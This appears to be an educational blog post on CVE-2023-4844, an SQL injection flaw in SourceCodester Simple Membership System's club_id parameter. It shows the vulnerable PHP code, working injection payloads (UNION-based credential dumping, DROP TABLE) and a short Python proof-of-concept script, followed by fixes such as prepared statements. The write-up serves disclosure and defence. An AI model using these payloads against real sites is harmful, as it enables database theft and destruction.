In late 2023, a critical security flaw surfaced in the SourceCodester Simple Membership System version 1.. This popular open-source project helps website owners manage membership data. Tracked as CVE-2023-4844 and VDB-239253, the vulnerability allows attackers to exploit a weakness in the file club_edit_query.php through the club_id parameter. A successful attack could let malicious actors execute unauthorized SQL commands, leaking or corrupting sensitive data.

This post digs into the details of the bug, explains the root cause with code, and demonstrates how an attacker might exploit the flaw. This is an awareness and educational write-up aiming to help developers and site admins understand and patch the issue before any bad actor can do harm.

Severity: Critical

- CVE ID: CVE-2023-4844
- Other Ref: VDB-239253

Vulnerability Details

The flaw lies in how club_edit_query.php handles user-supplied input. Specifically, the club_id parameter is taken directly from user input and plugged into a SQL query without any input sanitization or parameter binding.

The source code in club_edit_query.php (simplified for clarity) looks something like this

<?php
// Get the club_id from request
$club_id = $_GET['club_id'];

// Build the query
$query = "SELECT * FROM clubs WHERE club_id = $club_id";

// Execute the query
$result = mysqli_query($conn, $query);

// process $result...
?>

Here, $club_id comes _straight_ from user input and is injected into the SQL query without any checks. This opens the door wide for _SQL injection_.

Why is This So Dangerous?

Because an attacker can manipulate the club_id parameter, they could, for instance, fetch details of ALL clubs, delete records, or even dump the entire database—including user credentials.

Let's imagine the vulnerable page is

https://example.com/club_edit_query.php?club_id=1

A normal, expected input is a number (like 1). But an attacker might send

https://example.com/club_edit_query.php?club_id=1 OR 1=1

The SQL query now becomes

SELECT * FROM clubs WHERE club_id = 1 OR 1=1

This always returns all records from the clubs table.

More Malicious Exploits

Attackers could even union the results from users table, attempt to dump usernames and passwords, or modify the database:

Stealing Data

club_id= UNION SELECT 1,username,password FROM users-- -

Deleting Information

club_id=1; DROP TABLE users;--

Note: Execution of multiple SQL statements depends on database settings, but even simple injection can do a lot of damage.

Proof of Concept (PoC)

Below is how a hacker could automate data extraction using Python and the requests library. (For *educational purposes only!*)

import requests

url = 'https://example.com/club_edit_query.php';
payload = '1 UNION SELECT 1,username,password FROM users-- -'

params = {'club_id': payload}

r = requests.get(url, params=params)
print(r.text)  # Server response with sensitive info from the database

1. Use Prepared Statements (MySQLi or PDO)

$stmt = $conn->prepare("SELECT * FROM clubs WHERE club_id = ?");
$stmt->bind_param("i", $_GET['club_id']);
$stmt->execute();
$result = $stmt->get_result();

If club_id must be a number

$club_id = intval($_GET['club_id']);

3. Least Privilege Database Access

Only allow the database user to perform necessary operations (don't allow DROP, etc.).

References

- CVE-2023-4844: MITRE CVE
- VDB-239253: VulDB entry
- SourceCodester Project Page
- OWASP SQL Injection Cheatsheet

Final Words

CVE-2023-4844 is a glaring reminder: _Never trust user input in your database queries._ Exploits like this one, especially when publicly disclosed, are quickly used by attackers. If you run SourceCodester Simple Membership System 1., update your code right away!

Stay safe. Patch quickly. Share awareness.

*This post is for educational and mitigation awareness only. Never exploit live systems without permission.*

Timeline

Published on: 09/08/2023 22:15:12 UTC
Last modified on: 11/07/2023 04:23:01 UTC